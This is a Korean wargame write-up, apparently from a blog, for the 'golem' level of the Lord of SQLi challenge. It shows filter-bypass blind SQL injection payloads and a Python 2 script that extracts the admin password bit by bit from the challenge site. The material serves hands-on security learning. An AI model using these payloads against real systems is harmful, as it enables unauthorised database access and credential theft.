NGA

los.rubiya.kr/golem

2018. 12. 28. 14:08

PW에 or, and, substr(, = 등이 필터링이 되어있다. 그리고 쿼리의 결과값이 admin이여야 하고 admin의 PW도 일치 해야 한다. 

먼저 PW쪽 파라미터를 통해서 쿼리 결과값의 ID값을 admin으로 만들어 출력하고 그 후에 Blind SQL Injection을 통해서 PW 까지 같이 뽑아오면 된다.


ID값을 admin으로 만들어 보자. 

pw='||id like 'admin'#

pw='||id in ('admin')#


= like in 이 필터링 되었을 때 >,< 등을 통해서도 가능.

pw='||md5(id)>'21232f297a57a5a743894a0e4a801fc2'&&md5(id)<'21232f297a57a5a743894a0e4a801fc4'# 


이제 그뒤로는 PW를 추출하도록 만들면 된다.


pw='||id like 'admin'&&length(pw)> ?# 를 통해 길이를 구한후


pw='||id like 'admin'&&ascii(mid(pw,?,1))&? like ?# 를 통해 PW 값을 구한다.



Payload



#coding:utf-8

import urllib2 
import ssl 

opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))) 
urllib2.install_opener(opener)

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
sess="4hqu7lpapeslgg180htc7dtrh3" # Your sessionid 

for i in range(1,9):

	bin = pow(2,8)	# 128
	str=0
	while bin >= 1:
	
		query="pw=%27||id+like+'admin'%26%26ascii(mid(pw,{},1))%26{}+like+{}%23".format(i,bin,bin)	

		req=urllib2.Request(url+query)
		req.add_header("Cookie","PHPSESSID="+sess)
		read=urllib2.urlopen(req).read()
		
		if(read.find("

Hello admin

") != -1): str+=bin bin/=2 print chr(str),

'WARGAME > LOS' 카테고리의 다른 글

los.rubiya.kr/skeleton  (0) 2018.12.28
los.rubiya.kr/vampire  (0) 2018.12.24
los.rubiya.kr/troll  (0) 2018.11.15
los.rubiya.kr/orge  (0) 2018.11.15
los.rubiya.kr/darkelf  (0) 2018.11.15

이 글을 공유합시다

facebook twitter googleplus kakaoTalk kakaostory naver band